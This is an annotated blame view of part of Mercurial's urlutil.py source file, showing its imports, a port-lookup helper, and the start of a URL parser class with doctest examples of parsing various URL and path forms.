annotate mercurial/utils/urlutil.py @ 47030:c2b5365aa827

urlutil: introduce a new `list_paths` function This function will be useful for command and template that wants to display path related information. Differential Revision: https://phab.mercurial-scm.org/D10440
author Pierre-Yves David <pierre-yves.david@octobus.net>
date Thu, 15 Apr 2021 11:46:31 +0200
parents 9ea75ea23534
children a2632ce1f15b
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
1 # utils.urlutil - code related to [paths] management
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
2 #
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
4 #
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
5 # This software may be used and distributed according to the terms of the
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
6 # GNU General Public License version 2 or any later version.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
7 import os
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
8 import re as remod
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
9 import socket
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
10
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
11 from ..i18n import _
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
12 from ..pycompat import (
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
13 getattr,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
14 setattr,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
15 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
16 from .. import (
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
17 encoding,
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
18 error,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
19 pycompat,
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
20 urllibcompat,
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
21 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
22
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
23
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
24 if pycompat.TYPE_CHECKING:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
25 from typing import (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
26 Union,
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
27 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
28
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
29 urlreq = urllibcompat.urlreq
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
30
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
31
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
32 def getport(port):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
33 # type: (Union[bytes, int]) -> int
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
34 """Return the port for a given network service.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
35
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
36 If port is an integer, it's returned as is. If it's a string, it's
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
37 looked up using socket.getservbyname(). If there's no matching
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
38 service, error.Abort is raised.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
39 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
40 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
41 return int(port)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
42 except ValueError:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
43 pass
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
44
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
45 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
46 return socket.getservbyname(pycompat.sysstr(port))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
47 except socket.error:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
48 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
49 _(b"no port number associated with service '%s'") % port
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
50 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
51
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
52
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
53 class url(object):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
54 r"""Reliable URL parser.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
55
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
56 This parses URLs and provides attributes for the following
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
57 components:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
58
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
60
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
61 Missing components are set to None. The only exception is
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
62 fragment, which is set to '' if present but empty.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
63
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
64 If parsefragment is False, fragment is included in query. If
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
65 parsequery is False, query is included in path. If both are
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
66 False, both fragment and query are included in path.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
67
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
69
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
70 Note that for backward compatibility reasons, bundle URLs do not
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
71 take host names. That means 'bundle://../' has a path of '../'.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
72
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
73 Examples:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
74
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
79 >>> url(b'file:///home/joe/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
80 <url scheme: 'file', path: '/home/joe/repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
81 >>> url(b'file:///c:/temp/foo/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
82 <url scheme: 'file', path: 'c:/temp/foo/'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
83 >>> url(b'bundle:foo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
84 <url scheme: 'bundle', path: 'foo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
85 >>> url(b'bundle://../foo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
86 <url scheme: 'bundle', path: '../foo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
87 >>> url(br'c:\foo\bar')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
88 <url path: 'c:\\foo\\bar'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
89 >>> url(br'\\blah\blah\blah')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
90 <url path: '\\\\blah\\blah\\blah'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
91 >>> url(br'\\blah\blah\blah#baz')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
93 >>> url(br'file:///C:\users\me')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
94 <url scheme: 'file', path: 'C:\\users\\me'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
95
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
96 Authentication credentials:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
97
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
98 >>> url(b'ssh://joe:xyz@x/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
100 >>> url(b'ssh://joe@x/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
102
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
103 Query strings and fragments:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
104
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
105 >>> url(b'http://host/a?b#c')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
109
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
110 Empty path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
111
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
112 >>> url(b'')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
113 <url path: ''>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
114 >>> url(b'#a')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
115 <url path: '', fragment: 'a'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
116 >>> url(b'http://host/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
117 <url scheme: 'http', host: 'host', path: ''>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
118 >>> url(b'http://host/#a')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
120
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
121 Only scheme:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
122
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
123 >>> url(b'http:')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
124 <url scheme: 'http'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
125 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
126
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
127 _safechars = b"!~*'()+"
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
128 _safepchars = b"/!~*'()+:\\"
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
130
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
131 def __init__(self, path, parsequery=True, parsefragment=True):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
132 # type: (bytes, bool, bool) -> None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
133 # We slowly chomp away at path until we have only the path left
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
134 self.scheme = self.user = self.passwd = self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
135 self.port = self.path = self.query = self.fragment = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
136 self._localpath = True
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
137 self._hostport = b''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
138 self._origpath = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
139
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
140 if parsefragment and b'#' in path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
141 path, self.fragment = path.split(b'#', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
142
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
143 # special case for Windows drive letters and UNC paths
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
145 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
146 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
147
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
148 # For compatibility reasons, we can't handle bundle paths as
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
149 # normal URLS
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
150 if path.startswith(b'bundle:'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
151 self.scheme = b'bundle'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
152 path = path[7:]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
153 if path.startswith(b'//'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
154 path = path[2:]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
155 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
156 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
157
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
158 if self._matchscheme(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
159 parts = path.split(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
160 if parts[0]:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
161 self.scheme, path = parts
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
162 self._localpath = False
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
163
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
164 if not path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
165 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
166 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
167 self.path = b''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
168 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
169 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
170 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
171 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
172 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
173
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
174 if parsequery and b'?' in path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
175 path, self.query = path.split(b'?', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
176 if not path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
177 path = None
